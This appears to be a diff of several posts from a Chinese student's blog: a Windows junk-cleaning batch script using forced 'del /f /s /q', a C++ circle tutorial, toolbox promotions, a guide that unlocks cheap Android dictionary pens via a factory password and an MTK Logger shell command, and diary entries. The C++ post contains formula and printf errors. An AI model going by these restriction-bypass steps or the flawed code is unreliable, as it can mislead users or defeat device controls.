del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
echo ■■■■■■正在清理用户本地设置缓存■■■■■■
color 5e
del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
echo ■■■■■■正在执行最后清理■■■■■■
color a
del /f /s /q "%userprofile%\recent\*.*"
echo ■■■■■■■■清理完毕■■■■■■■■
echo ■■本脚本由创峄信息科技提供技术支持■■
echo ■■■定期清理系统垃圾,电脑更流畅■■■
echo ■■■您可以继续翻看清理记录,或退出■■
echo ■■■■■■■创峄信息科技■■■■■■■
pause
exit</code></pre>
<h3> 食用方法</h3>
将以上代码复制,并在Windows系统下新建一个文本文档,打开后将代码粘贴进去,再将该文本文档的后缀名更改为.bat,最后右键以管理员身份运行即可。
+90
View File
@@ -0,0 +1,90 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff0bc0cc46.webp"
title: "【代码编程】使用C++通过半径求圆的直径周长和面积"
pubDate: "2024-01-30T09:20:17.000Z"
updatedDate: "2024-01-30T09:20:17.000Z"
categories:
- "生活"
tags:
comments: true
---
<h3>前言</h3>
大家好,我是路明。今天,我们一起来用C++来解决一个数学问题。
<h3>问题</h3>
问题如下:
<img class="aligncenter" src="https://luming-website.chgskj.cn/luming-notes/2024/01/20240130082746169560.webp" />
<h3>初步解决</h3>
由题可知,题目要求用户输入圆的半径至程序,接下来在程序内部进行运算,最后输出圆的直径、周长和面积。
根据圆的计算公式,可知:
<pre class="corepress-code-pre"><code>d=2r
c=πd=2πr
s=πr²d</code></pre>
有了这些公式,解决这个问题也就易如反掌了。
&nbsp;
<h3>代码编写</h3>
在本程序中,需要用到C++中<code>iostream</code> 、<code>iomanip</code> 、<code>cstdio</code> 等头文件,因此我们在程序头部输入以下代码:
<pre class="corepress-code-pre"><code>#include&lt;iostream&gt;
#include&lt;iomanip&gt;
#include&lt;cstdio&gt;
using namespace std;</code></pre>
接着定义主函数【 int main() 】(代码略)。
&nbsp;
由于圆周率π约等于3.1415926,因此我们定义一个浮点型常量PI,值为3.1415926,方便我们以后使用:
<pre class="corepress-code-pre"><code>const float PI=3.1415926;</code></pre>
[c-alert type="success"] 输入完命令代码后,可别忘了加上“;”噢~[/c-alert]
&nbsp;
继续,为了方便程序进行内部计算,我们定义几个浮点型变量,用来存储圆的半径、直径、周长和面积的值:
<pre class="corepress-code-pre"><code>float banjing,zhijing,zhouchang,mianji;</code></pre>
好了!对变量的定义部分到此就结束了,接下来,我们要往变量里填东西了。我们先让用户输入圆的半径:
&nbsp;
<pre class="corepress-code-pre"><code>cin&gt;&gt;banjing;
</code></pre>
接着就可以在程序内对圆的直径、周长和面积进行计算了。
<pre class="corepress-code-pre"><code>zhijing=banjing*2;//直径=半径*2
zhouchang=2*PI*banjing;//C=2PIr
mianji=PI*banjing*banjing;</code></pre>
最后,根据题目要求,我们需要将直径、周长和面积保留四位小数后输出,并在结果之间添加空格。
这里我们可以用两种方式来实现该效果。首先使用iostream头文件中包含的<code>cout&lt;&lt;</code> 命令
<pre class="corepress-code-pre"><code>cout&lt;&lt;fixed&lt;&lt;setprecision(4)&lt;&lt;zhijing&lt;&lt;" "&lt;&lt;zhouchang&lt;&lt;" "&lt;&lt;mianji;</code></pre>
其中<code>cout&lt;&lt;fixed&lt;&lt;setprecision(4)</code>  代表保留结果为4位小数,<code>zhijing&lt;&lt;" "&lt;&lt;zhouchang&lt;&lt;" "&lt;&lt;mianji;</code> 即为按格式输出结果。
第二种方法是用cstdio中的<code>printf()</code> 命令:
<pre class="corepress-code-pre"><code>printf("%.4f %.4f %.4f %.4f",banjing,zhijing,zhouchang,mianji);//输出格式为保留四位小数的浮点数</code></pre>
printf()命令的参数是用“,”分隔开的。其中第一个参数代表着输出内容的格式,从第二个开始,即为输出的内容。
<code>"%0.4f %0.4f %0.4f"</code> 中的每个“%0.4f”都分别代表着zhijing、zhouchang、mianji的输出格式,又因为输出的结果之间有空格,所以在此参数中的每个%0.4f之间都有一个空格。
%0.4f的意思是保留四位小数后输出。
在程序的末尾,请一定不要忘记编写<code>return 0;</code>
<h3>调试运行程序</h3>
[video width="1366" height="768" webm="http://virelyx.com/wp-content/uploads/2024/01/20240130092216116744.webm"][/video]
<h3>源代码</h3>
<pre class="corepress-code-pre"><code>#include &lt;iostream&gt;
#include&lt;iomanip&gt;
#include&lt;cstdio&gt;
using namespace std;
int main()
{
const float PI=3.14;
float banjing,zhijing,zhouchang,mianji;
cin&gt;&gt;banjing;
zhijing=banjing*2;
zhouchang=2*PI*banjing;
mianji=PI*banjing*banjing;
printf("%0.4f %0.4f %0.4f",zhijing,zhouchang,mianji);
//cout&lt;&lt;fixed&lt;&lt;setprecision(4)&lt;&lt;zhijing&lt;&lt;" "&lt;&lt;zhouchang&lt;&lt;" "&lt;&lt;mianji;
return 0;
}</code></pre>
&nbsp;
+28
View File
@@ -0,0 +1,28 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff0c2657c1.webp"
title: "【软件分享】蓝屏工具箱4.0,来了!"
pubDate: "2024-02-10T16:00:56.000Z"
updatedDate: "2024-02-10T16:00:56.000Z"
categories:
- "生活"
tags:
- "易语言"
- "蓝屏"
- "软件"
comments: true
---
就在刚刚,2024年的大年初一,我们蓝屏工具箱开发团队正式且自豪地向大家宣布:蓝屏工具箱4.0的正式版本,今天,发布了!今天,请允许我以蓝屏工具箱开发团队的身份来向大家介绍蓝屏工具箱这款软件。
<h3>蓝屏工具箱是什么?</h3>
<section>蓝屏工具箱是蓝屏科技在2022年11月立项的一款系统工具箱软件,在2022年12月开始开发并推出第一个正式版本。在蓝屏工具箱的一开始,我们并没有做什么创新方面的元素,软件UI非常复古原始,并且没有绚丽多彩的图标。或许唯一能够引人注目一点的就是它那尚未完善的账号系统了。</section><section><img class="aligncenter" src="https://image.luming.cool/i/2026/05/10/69fff0888db49.webp" />从2023年4月开始,我们开始从0开始打磨蓝屏工具箱4.0的每一处功能。从实时响应的账户系统,到实时更新的公告系统。由于给我们的开发时间不多,因此我们只能延长开发周期。</section><section>在开发蓝屏工具箱4.0的时候看见友商一个接一个发布新版本的时候,虽然内心有着些许的浮躁,但是发现友商产品越来越大的体积,功能越来越臃肿后,我们决定做点什么...</section><section>2023年12月,蓝屏工具箱4.0的账户、头像、图片公告等功能均已完善。</section><section>2024年2月,我们奋起直追,完成了蓝屏工具箱4.0的核心功能——“插件应用市场”。顾名思义,这是一个人人平等的应用社区。在这里,用户可以申请成为开发者,申请成功后可通过应用上传页上传自己制作的插件,或者也可以上传别人开发的一些小应用。上传的应用需要运维人员的审核,审核通过后就会出现在应用列表中,供其他用户下载使用。</section><section>在“插件应用市场”的加持下,蓝屏工具箱的功能得到了史无前例的强大,这也使蓝屏工具箱4.0的体积占用也得到了缩减,从先前3.0版本的90MB,到如今4.0版本的5MB,我们也花了十足的功夫为它“瘦身”。</section>
<h3>蓝屏工具箱的主要功能</h3>
<section>首先,双击打开蓝屏工具箱主程序,会弹出登录窗口。输入您的账号及密码后点击“快速登录”即可登入蓝屏工具箱。如果您未接入互联网,您也可以点击登录按钮旁边的“离线模式”进入离线模式。</section><section>登录后,会加在主界面。由于x86程序的内存读写特性,这个过程通常需要5秒钟左右。</section><section>程序在刚刚安装完时,您的插件库内是没有内置任何插件的,您可以从插件应用市场来下载充实您的插件库。当然,当您未接入互联网,亦或是您希望体验一些未上传到应用商店的非官方插件,您也可以使用插件库中的“导入插件”来充盈您的插件库。</section><section>在聊天室界面,您可以与其他和您一样使用蓝屏工具箱4.0的用户一起畅谈人生。当文字已不能表达您的丰富情感时,您也可以选择使用聊天室的“发送图片”功能。当您因不可抗力因素错过某些消息时,也无需慌张。您可以使用“查看聊天记录”功能,从服务器获取最新的聊天记录文件并解析。</section><section>聊天室禁止发送不良信息,我们的后台运维人员有权且有能力通过消息直接封禁违规者的账号。</section><section>在设置界面,您可以修改自己账号的昵称、账号、密码、头像等,同时也可以记下自己的ID,以便预防自己忘记密码。同时,您可以修改窗口的样式:方角、圆角,任您灵活切换。</section><section>最后,蓝屏工具箱内置了更新系统,您可以在设置→关于界面→检查更新 来检查更新并全自动安装更新。</section>
<h3>展望蓝屏工具箱的未来</h3>
<section>在未来,我们还有许多Flags,比如:</section>
<ul class="list-paddingleft-1">
<li>做出开发者激励计划</li>
<li>做出一些蓝屏币兑换奖品的功能,让蓝屏币发挥作用。</li>
</ul>
<section>总而言之,蓝屏工具箱的路道阻且长,我们将会沉下心来,以工匠精神打造更加优质的产品。</section><section>蓝屏工具箱是一款完全基于易语言编写的软件,我们希望通过自己的微薄之力让中文编程发挥一些光和热。</section>
<h3>获取蓝屏工具箱</h3>
<section>蓝屏工具箱官网:<a href="https://tools.chgskj.cn" target="_blank" rel="noopener">https://tools.chgskj.cn</a></section><section>大家可以扫描下方的二维码加入蓝屏工具箱用户群,体验全新的蓝屏工具箱4.0</section><section><img class="aligncenter" src="https://image.luming.cool/i/2026/05/10/69fff08a6e1be.webp" /></section>
+105
View File
@@ -0,0 +1,105 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff08dcbd89.webp"
title: "【学生党慎入】如何用一支点读笔实现顺利进厂"
pubDate: "2024-03-09T03:16:13.000Z"
updatedDate: "2024-03-09T03:16:13.000Z"
categories:
- "科技"
tags:
- "安卓"
comments: true
---
<h2>前言</h2>
大家好,万年不更的冤种路明又和大家见面了。
本期文章我们来说说如何用一支词典笔来丰富自己的校园生活(<del>顺利进厂</del>)(bushi
[c-alert type="warning"]本文中所出现的所有图片均为路明亲手绘制,仅供参考![/c-alert]
<h2>准备工作</h2>
<blockquote>要实现本文所提及的一切内容,你需要准备以下材料
To implement everything mentioned in this article, you need to prepare the following materials.</blockquote>
<ul>
<li>一台运行<span style="color: #ff0000;">*安卓系统</span>的<span style="color: #ff0000;">*非品牌类</span>词典笔</li>
<li>一根USB<span style="color: #ff0000;">*数据线</span></li>
<li>一台运行<span style="color: #ff0000;">*Windows操作系统</span>的台式机/笔记本电脑/Mac</li>
</ul>
<h3>FAQ</h3>
<span style="color: #ff0000;">*安卓系统</span>:词典笔(点读笔)务必搭载Android®操作系统,否则无法实现本文中的任何效果。可在购买时咨询客服。
<span style="color: #ff0000;">*非品牌类</span>:词典笔(点读笔)在选购时请您刻意避开品牌点读笔,因为品牌点读笔对防破解方面做的非常成熟,不利于破解操作。一般杂牌词典笔价格在50~150元人民币之间。
<span style="color: #ff0000;">*数据线</span>:一根可以连接词典笔(点读笔)和电脑并进行数据传输的USB线。
<span style="color: #ff0000;">*Windows操作系统</span>:若您拥有丰富的ADB经验,则您也可以选用Linux&amp;macOS。
<h2>核心破解</h2>
<blockquote>由于不同点读笔有不同的破解分支,所以路明在这里给大家提供两种思路供大家参考。</blockquote>
<h3>JXW思路</h3>
<blockquote>有些点读笔(词典笔)使用的是JXW服务内核,因此直接可以利用JXW服务进行破解。</blockquote>
首先进入点读笔(词典笔)的<code>“关于本机”</code> 页面(下图仅供参考)
<img src="https://image.luming.cool/i/2026/05/10/69fff0aa91267.webp" alt="" />
连续点击三下<code>“SN号”</code> ,再点击一下<code>“软件版本”</code>  ,此时会弹出窗口提示输入密码,在窗口中设法输入<code>“jxwkj888”</code> 并确认,即可进入系统原生设置。
进入系统原生设置后,即可通过开发者选项打开<code>USB调试</code> 功能,连接电脑进行愉快地玩机吧!
<h3>通用思路</h3>
由于绝大多数点读笔(词典笔)使用的都是联发科(MediaTek)处理器,因此我们可以利用系统工厂测试中的MTK Logger运行Shell脚本来进入系统原生设置。
第一步仍和JXW思路相同,先进入点读笔(词典笔)的“关于本机”界面(下图仅供参考)
<img src="https://image.luming.cool/i/2026/05/10/69fff0aa91267.webp" alt="" />
连续点击“软件版本”,直到弹出工厂测试工具(下图仅供参考)
<img src="https://image.luming.cool/i/2026/05/10/69fff0ab40c60.webp" />
在工厂测试工具中找到标有<code>“快捷”</code> 字样的按钮(如此处就对应的是“快捷操作”按钮)并点击进入(下图仅供参考)
<img src="https://image.luming.cool/i/2026/05/10/69fff0abcc255.webp" />
直接点击<code>MTK Log</code> 选项进入即可。(下图仅供参考)
<img src="https://image.luming.cool/i/2026/05/10/69fff0ac6714d.webp" />
进入MTK Logger之后,点击右上角的设置图标,会出一堆选项。(下图所示仅供参考)
<img src="https://image.luming.cool/i/2026/05/10/69fff0ad03b04.webp" />
点击最下方的<code>“Run command”</code> 选项,会弹出输入指令的提示框。
在提示框内输入以下代码:
<pre class="corepress-code-pre"><code>am start -a android.settings.SETTINGS</code></pre>
点击确定,即可进入安卓原生设置。
同JXW思路一样,在安卓原生设置中您可以开启<code>USB调试</code> 选项来尽情玩机了。
<h2>玩机软件</h2>
<blockquote>在进行核心破解之后,我们就可以在点读笔(词典笔)上自由地安装软件了。接下来路明会分情况来和大家分享一些点读笔应用。</blockquote>
<h3>适用于32位处理器</h3>
<blockquote>对于32位处理器的点读笔(词典笔),我们可以用来玩玩一些小游戏以及装一些别的软件。
*注意:32位软件在64位点读笔(词典笔)上也可以正常使用。</blockquote>
比如:
<ol>
<li>地铁跑酷(<a href="https://www.123pan.com/s/Y5Nvjv-6AA8d.html" target="_blank" rel="noopener">点我下载安装包</a></li>
<li>Minecraft PE<a href="https://www.123pan.com/s/Y5Nvjv-yAA8d.html" target="_blank" rel="noopener">点我下载安装包</a></li>
<li><span style="color: #ff0000;">*酷狗概念版</span><a href="https://www.123pan.com/s/Y5Nvjv-VAA8d.html" target="_blank" rel="noopener">点我下载安装包</a></li>
<li><span style="color: #ff0000;">*豌豆荚</span><a href="https://www.123pan.com/s/Y5Nvjv-jAA8d.html" target="_blank" rel="noopener">点我下载安装包</a></li>
<li>RD客户端(<a href="https://www.123pan.com/s/Y5Nvjv-T9A8d.html" target="_blank" rel="noopener">点我下载安装包</a></li>
<li>抬腕哔哩(<a href="https://www.123pan.com/s/Y5Nvjv-d9A8d.html" target="_blank" rel="noopener">点我下载安装包</a></li>
</ol>
<span style="color: #ff0000;">*酷狗概念版</span>:新版本酷狗概念版安装至点读笔(词典笔)上后可能会出现播放页载入时闪退的问题。
<span style="color: #ff0000;">*豌豆荚</span>:豌豆荚在部分小屏点读笔的使用过程中可能会出现应用界面无法正常操作的问题。
<h3>适用于64位处理器</h3>
<blockquote>对于64位处理器的点读笔(词典笔)支持的功能就更多了,你可以在你的点读笔(词典笔)上面安装近乎市面上所有的软件。</blockquote>
Wear应用库:<a href="https://vincent8623.lanzouw.com/b00zti91i" target="_blank" rel="noopener">点我进入</a>
进入后可以下载里面的任意安装包,下载完成后直接安装即可。
<h2>结束语</h2>
本期文章到这里就结束了,再提一嘴:路明不建议在正常学习中把玩破解后的词典笔(点读笔),毕竟这类产品生来就是辅助学习使用的,不要因为它耽误自己的学业噢~
祝大家学业有成~
我是路明,我们下期文章再见!
+19
View File
@@ -0,0 +1,19 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff0ba54007.webp"
title: "【软件通知】峄校智表正式停运"
pubDate: "2024-07-03T07:21:35.000Z"
updatedDate: "2024-07-03T07:21:35.000Z"
categories:
- "生活"
tags:
- "创峄信息科技"
- "峄校智表"
- "电子课程表"
- "蓝屏"
- "课表"
comments: true
---
经考虑,我们决定停运峄校智表软件。
前峄校智表用户我们建议您使用<a href="https://classisland.tech/" target="_blank" rel="noopener">ClassIsland</a>这款功能强大的电子课程表软件,它会让您眼前一亮的。
+142
View File
@@ -0,0 +1,142 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff2108fea9.png"
title: "【软件推荐】蓝屏工具箱4.5——实力归来"
pubDate: "2024-07-25T02:26:46.000Z"
updatedDate: "2024-07-25T02:26:46.000Z"
categories:
- "生活"
tags:
- "工具"
- "易语言"
- "软件"
comments: true
---
<h2>前言</h2>
大家好,我是路明。本期文章我要向大家推荐一款功能强大且实用的系统工具箱——蓝屏工具箱。
<h2>软件简介</h2>
蓝屏工具箱是由创峄信息科技基于开发的一款适用于Windows的工具箱软件,官网<a href="https://tools.chgskj.cn" target="_blank" rel="noopener">tools.chgskj.cn</a>
您可以在此处高速下载蓝屏工具箱:<a href="https://www.123pan.com/s/v1krVv-9Te03.html" target="_blank" rel="noopener">https://www.123pan.com/s/v1krVv-9Te03.html</a>
<img class="aligncenter" src="https://image.luming.cool/i/2026/05/10/69fff20a78ba8.png" />
通过官网,我们可以看到这款软件处处透出了年轻活力的气息。点击“最新版下载”按钮,即可下载蓝屏工具箱的最新版本安装包。
<h2>界面一览&amp;功能介绍</h2>
蓝屏工具箱的最新版本号是4.5.4 KB0512,相比较于官网给出的参考图,最新版本对界面做出了很多改动。
<h3>登录注册界面</h3>
首次启动软件,会进入登录注册界面。
<img class="aligncenter" src="https://image.luming.cool/i/2026/05/10/69fff20b24d6a.png" />
<img src="https://image.luming.cool/i/2026/05/10/69fff20c6ecc8.png" />
新用户初次使用蓝屏工具箱需要手动注册一个新账号,注册完之后即可使用账号密码登录工具箱。
<h3>主界面</h3>
进入主界面,可以看到时钟、天气、签到、公告、资讯、随机应用模块按部就班地在窗口内整齐排列,如下图。
<img class="aligncenter" src="https://image.luming.cool/i/2026/05/10/69fff20dbaaaf.png" />
点击签到,我们会发现蓝屏币新增了2个。蓝屏币是蓝屏工具箱的内部“货币”,目前的用途是高速下载插件。
<h3>全屏时钟</h3>
在主界面时钟的右下角有一个“全屏”图标按钮,点击它即可进入一个纯黑背景的时钟,如下图。
<img class="aligncenter" src="https://image.luming.cool/i/2026/05/10/69fff20e5bc44.png" />
路明觉得这个时钟非常适合学校考试时进行使用,相比那些广告繁多的时钟显示网站,蓝屏工具箱中的无广告时钟真的是一个不错的选择。
<h3>资讯界面</h3>
“资讯”功能是蓝屏工具箱推出的更加系统化的公告方案。当蓝屏工具箱及创峄信息科技有新的动态消息时,会第一时间将消息以文章的方式推送至工具箱内。
在首页会默认推送最新的两篇资讯,若要查看完整资讯,则需手动点击左侧栏的“资讯”按钮(如下图)。
<img class="aligncenter" src="https://image.luming.cool/i/2026/05/10/69fff20feaef3.png" />
点击文章右侧的“查看文章”按钮即可查看文章内容(如下图)。
<img class="aligncenter" src="https://image.luming.cool/i/2026/05/10/69fff21162e0c.png" />
<h3>聊天室功能</h3>
蓝屏工具箱为了方便用户与开发者之间的直接交流,所以在软件内提供了聊天室功能(如图)。
<img class="aligncenter" src="https://image.luming.cool/i/2026/05/10/69fff21211e57.png" />
在聊天室内可以发送文字、图片消息。同时,点击“查看聊天记录”按钮,即可查看聊天室中的全部聊天记录。
[c-alert type="warning"]若聊天记录数量过多,可能会导致工具箱运行缓慢或内存溢出闪退,这属于正常现象,重启工具箱即可。[/c-alert]
<h3>应用市场</h3>
要说到蓝屏工具箱的核心重磅功能,那就当属应用市场了。蓝屏工具箱打破了本地集成插件的常规思路,采用了云端存储的应用仓库,由用户自行选配下载,把蓝屏工具箱打造成属于自己的瑞士军刀。
点击左侧栏的“商店”按钮,即可进入应用商店主界面(如图)。
[c-alert type="info"]蓝屏工具箱的应用市场目前暂不支持Windows8系列操作系统,将在后续版本支持。[/c-alert]
<img class="aligncenter" src="https://image.luming.cool/i/2026/05/10/69fff2132d668.png" />
应用商店整体界面布局排版比较整齐合理,完美支持搜索、公告、分类功能,用户可以通过搜索功能快速定位到自己需要的应用进行下载。
点击应用列表右侧的“查看详情”按钮,即可加载出应用详情页。在此页面,用户可以对应用进行评分和评论(如图)。
<img class="aligncenter" src="https://image.luming.cool/i/2026/05/10/69fff213dd5ea.png" />
点击“安装”按钮后,会弹出一个窗口,让用户选择是使用“普通下载模式”还是“高速下载模式”(如图)。
<img class="aligncenter" src="https://image.luming.cool/i/2026/05/10/69fff2147c82c.png" />
在这里路明向大家解释一下两种方案的不同之处。
『普通下载模式』:这种下载方式是最为保险的,因为开发者上传应用之后,会在蓝屏工具箱服务器上面存储一份,这份存档是100%存在于服务器上的,因此无论什么情况,使用普通下载模式都能获取到您心仪的应用。但因为蓝屏工具箱服务器的带宽不大,所以使用普通下载模式速度会很慢,通常不到1MB/s。
『高速下载模式』:这是蓝屏工具箱最近推出的下载逻辑。当开发者上传应用之后,蓝屏工具箱的运维人员会看情况将应用打包上传到123云盘。而蓝屏工具箱的用户会在高速下载模式中调用123云盘直链功能进行下载。这种方法下载速度极快,但下载一次需要扣除用户1个蓝屏币,并且不适用于全部应用(并不是所有应用都被上传到123云盘)。
同时,用户还可以申请成为开发者账户(通常点一下就行了),在应用商店内上传自己开发的应用或其他开发者开发的应用(如图)。
[c-alert type="warning"]蓝屏工具箱支持原创,因此上传应用需要标明插件开发者。[/c-alert]
<img class="aligncenter" src="https://image.luming.cool/i/2026/05/10/69fff21531fc8.png" />
上传了应用之后,运维人员会对上传的插件进行审核。审核通过后,开发者的应用就会出现在应用商店内。若审核不通过,系统会向您发送邮件。通常应用审核工作会在上传后3个工作日内结束,若长期未响应,您可以联系admin@chgskj.cn进行解决。
<h3>功能列表</h3>
在用户下载了应用之后,在哪里查看已下载的应用呢?
答案当然是功能列表啦!
蓝屏工具箱为用户准备了功能强大的本地应用管理器。在这个列表内,您可以启动已下载的应用、将应用快捷方式添加到桌面、卸载应用以及打开应用目录。
<img class="aligncenter" src="https://image.luming.cool/i/2026/05/10/69fff215dbc48.png" />
<h3>设置</h3>
若要对软件功能及账号信息进行编辑,您可以前往蓝屏工具箱的设置模块。
点击左侧栏的“设置”按钮,即可进入设置(如图)。
<img class="aligncenter" src="https://image.luming.cool/i/2026/05/10/69fff21696a16.png" />
设置共分为『账户设置』、『外观设置』、『存储设置』、『推广设置』、『捐助我们』、『关于软件』六个板块。
『账户设置』:在此界面,您可以对您的账户昵称、头像、账号、密码等进行统一修改。
『外观设置』:若您不喜欢蓝屏工具箱的圆角风格,您可以关闭圆角化窗口;若您的屏幕分辨率高并且开启了系统缩放,您可以选中“高DPI适配”,重启工具箱后即可使工具箱界面显示正常。
『存储设置』:当您的工具箱出现了头像显示异常等问题时,您可以选择清空软件缓存或全部数据。
『推广设置』:若您无法忍受开屏5秒钟的开屏海报,您可以在此处关闭它。
『捐助我们』:蓝屏工具箱是免费软件,依靠捐助的资金来进行运维。不捐助不影响您使用本软件的全部功能,捐助是为了我们更好地为您提供服务。
『关于软件』:在此界面可以查看蓝屏工具箱的版本号信息和更新日志,并且可以快速地检查更新。
<h2>系统兼容性</h2>
功能介绍就暂时告一段落了。接下来小编和大家一起来看看蓝屏工具箱对操作系统的兼容性。
蓝屏工具箱理论上支持Windows7 7600及以上的全部Windows版本。但是由于Windows8系列对于MDI客户窗口的不兼容性,所以蓝屏工具箱4.5.4 KB0512及以前的版本都不支持Windows8系列操作系统,如果强制使用会导致软件停止运行。
但是值得一提的是蓝屏工具箱开发团队已经掌握了兼容Windows8系列的方案,并且预估会在未来不久发布全新的版本,该版本将支持Windows8系列。
由于蓝屏工具箱客户端内部使用Excel作为数据库读写载体,调用了libxl.dll,然而该dll文件不支持在XP系统下运行,所以很遗憾,蓝屏工具箱不支持且不会支持WindowsXP系列操作系统。对于使用XP系统的蓝屏工具箱用户,我们建议您升级到Windows7再使用蓝屏工具箱。
<h2>软件生态</h2>
蓝屏工具箱拥有丰富的软件生态。虽然它是Windows系统工具箱,但开发团队正在努力基于Wine制作蓝屏工具箱的Linux版本。若您对蓝屏工具箱感兴趣,您可以加入蓝屏工具箱客户群。
<img class="aligncenter" src="https://image.luming.cool/i/2026/05/10/69fff08a6e1be.webp" />
同时,蓝屏工具箱在<a href="https://blog.chgskj.cn/" target="_blank" rel="noopener">夏雨社区</a>也有专属的圈子,<a href="https://blog.chgskj.cn/forum/354.html" target="_blank" rel="noopener">点我即可进入圈子讨论</a>。
<h2>总结</h2>
总的来说,蓝屏工具箱由年轻人开发,积极维护,界面精美,功能强大,值得大家下载使用。
今天的分享就到这里啦,我是路明,我们下期再见。
@@ -0,0 +1,63 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff22f159a4.webp"
title: "我的新项目-LMOS"
pubDate: "2024-10-18T22:33:00.000Z"
updatedDate: "2024-10-18T22:33:00.000Z"
categories:
- "科技"
tags:
- "易语言"
comments: true
---
## 前言
我新创始了一个项目,名为LMOS(官网[lmos.fun](https://www.lmos.fun/))。由名字可知,这是一款封装的操作系统。没错,这是我为校园一体机封装的积极维护更新的操作系统。接下来,我将以项目创始人的身份介绍该项目的创立原因以及各个愿景。
## 一切的开始
事情是这样的:我们学校新换了一套希沃一体机(仅限四楼),但是隔壁班的电脑上莫名其妙地鱼龙混杂(杀软开会:360、2345、金山毒霸之类的全装了),隔壁班主任来找我,说他们班电脑上课总是弹出全屏广告(诸如“一刀999”……),让我帮忙重装系统。
我平时重装系统都是用的[FirPE](https://www.firpe.cn/)+[EasyRC](https://firpe.cn/page-196),每次重装都需要占用一中午的午休时间来安装驱动、安装常用软件。而这次依旧如此。我望着走不到尽头的重装进度条,陷入了~~对人生的大~~思考:为什么我不能封装好一款操作系统,里面装好常用软件,做到“即装即用”呢?
**于是乎!LMOS的最初构想就此诞生了!**
## 初步实践
2024年9月,我封装了第一款LMOS。整体界面十分简陋,仅仅包含了常用软件,以及因赶时间写的一个“加入客户群”应用。
(图片请等待补档)
这个操作系统被我用在隔壁班重装了一次,得到了老师们的一众好评。
不过这样子也有一个缺点:通常我会有一些好用的教育软件(如[ClassIsland桌面课表](https://classisland.tech/)等)需要推荐给全年级。如果我一个一个班跑着去装是很费时间的。
所以,**第二次构想诞生了**:我可以基于易语言,**打造出一套完整的更新体系**,使我可以**通过服务器端即时对已安装LMOS的设备推送各式各样的更新**。
## 项目成立
项目计划一提出,就得到了[创峄信息科技](https://www.chgskj.cn/)各位领导的支持,并赞助了一台中国-上海的2c2g服务器(有效期至25年2月,到期自费续费)。目前,本项目的主服务器位于中国-上海,网站服务器位于美国-洛杉矶。
由于GFW原因,本网站可能会在国内部分地区部分时段被墙。
**所以,当你有时无法访问本站,先别想我们跑路了,可能是被墙了哦~**
## 项目大体计划
本项目将坚持更新,不断维护。
系统内部会开发出形如“路明管家”或“LMOS助手”的软件,主体功能如下:
- 在用户初次安装成功时上报至LMOS服务器,用于统计使用人数。
- 在用户每次启动计算机时自动检测系统是否有更新,并弹窗提醒。
- 在用户同意后,下载并安装系统更新。
更新分为两种类型:`新装软件/卸载软件`等涉及软件增删的更新操作,称为**必做变更**;`已有软件更新`等针对已有软件进行操作的更新,称为**软件更新**。
其中,若用户跳过了最新版,当下一个发行版推送时,会自动组合所有用户所跳过发行版的**必做变更**进行安装。也就是说,为保证更新的统一性,**必做变更**必须被安装。
相比于**必做变更**,**软件更新**就显得不那么严苛。每次用户更新时都可以自选是否进行软件更新。**但是LMOS不保证使用旧版本软件是否会带来一系列问题。**
## 未来愿景
LMOS将会持续**活跃更新**,至少坚持一年(如果我的钱包不够续费域名的话……),争做更加完善的校园操作系统!
+62
View File
@@ -0,0 +1,62 @@
---
title: "24年41周记-试错、为生活努力的人们、发热"
pubDate: "2024-10-13T18:09:00.000Z"
updatedDate: "2024-10-13T18:09:00.000Z"
categories:
- "生活"
tags:
- "校园"
comments: true
---
## 前言
本周较忙,月考成绩出来了,由于粗心背书少而扣了很多分。同时因为发热头痛了好久……
## 各科错题知识点总结
### 化学
- `N`指的是`氮元素``N2`指的是`氮气`
- `X化X``液态氧`均为纯净物。
- 鉴别`CO2``O2``空气`的最好方法是用`燃着的木条`伸入集气瓶,而并非`带火星小木条`
- 形如○● ○● ○●的是`纯净物`,形如○● ●● ○○的是`混合物`
- 不显电性的`粒子`包括:`原子``中子``分子`
- 加压存放气体,能够直观地看出是因为`加压可以使分子间隔变小`,无需透过现象看本质,写一个`分子间存在间隔`
- 使用高锰酸钾制氧气,先`熄灭酒精灯``移开导气管`会导致的结果为`水回流至试管,试管因骤冷而炸裂`
- 制取装置包括`发生装置``收集装置`
- 仪器名称书写错误——是长`颈`漏斗而不是长柄漏斗。
### 英语
- 填空题后跟`or not`的空,优先考虑填`whether`
- 既做`动词`又做`名词`的词,在`介词`后优先直接使用其名词形式(保持原形不变)。
- 补全对话,前文另一个人做出`对主角有利的事时`,最后一句优先考虑填写`表示感谢的话`
## 早操迟到
应该算初中生涯第二次早操迟到。最近天气骤冷,起床突然变得异常艰难。再加上当天我又洗头了+是宿舍值日生,导致最终被拦截在了队伍前。
班主任给我们迟到的人拍了照发到领导群(似乎是发出去了,社死现场……)
最终我们没参加早操,在其他人早操结束后罚跑了1000米,但是达成的训练效果终归是不如正常训练好的。
## 为生活努力的人们
昨天从学校回来,路上淅淅沥沥地下着小雨。但是在大街小巷,尤其是学校门口,各种各样的小吃摊琳琅满目。刚才我还在为学校只放半天假期感到很生气,但是现在却是受到了一点点震撼:每个人不都是在努力地生活着吗?难道就我一个人不好过吗?答案是否定的。在当下的社会环境中,谋生是困难的。想要在这个社会生存下去,要么付出脑力劳动,要么付出体力劳动。每个人都不容易。(附路上看到的摊位图片)
![img](https://image.luming.cool/i/2026/05/10/69fff22983d91.webp)
![img](https://image.luming.cool/i/2026/05/10/69fff22a78267.webp)
![img](https://image.luming.cool/i/2026/05/10/69fff22b6fc90.webp)
![img](https://image.luming.cool/i/2026/05/10/69fff22c77b52.webp)
## 发热
已经持续了一个多月了,前是因为病毒性感冒,后者暂时不明原因。前前后后吃了n天的药。前期还能压住病情,后期就一直发烧不退了。今天下午去医院检查,医生怀疑是肺炎,但是没做CT。开了一堆药,希望这次吃了能好吧。
![img](https://image.luming.cool/i/2026/05/10/69fff22da8cf1.webp)
另:阿奇霉素分散片因为味道奇特以及每片体积过大,卡在了嗓子眼。我干呕了半分钟才硬把它咽下去,后续大概1个多小时嘴里都是令人恶心的药味。吃出心理阴影了(悲)
+74
View File
@@ -0,0 +1,74 @@
---
title: "24年43周记-愤怒、无语😅、受伤"
pubDate: "2024-10-25T21:50:00.000Z"
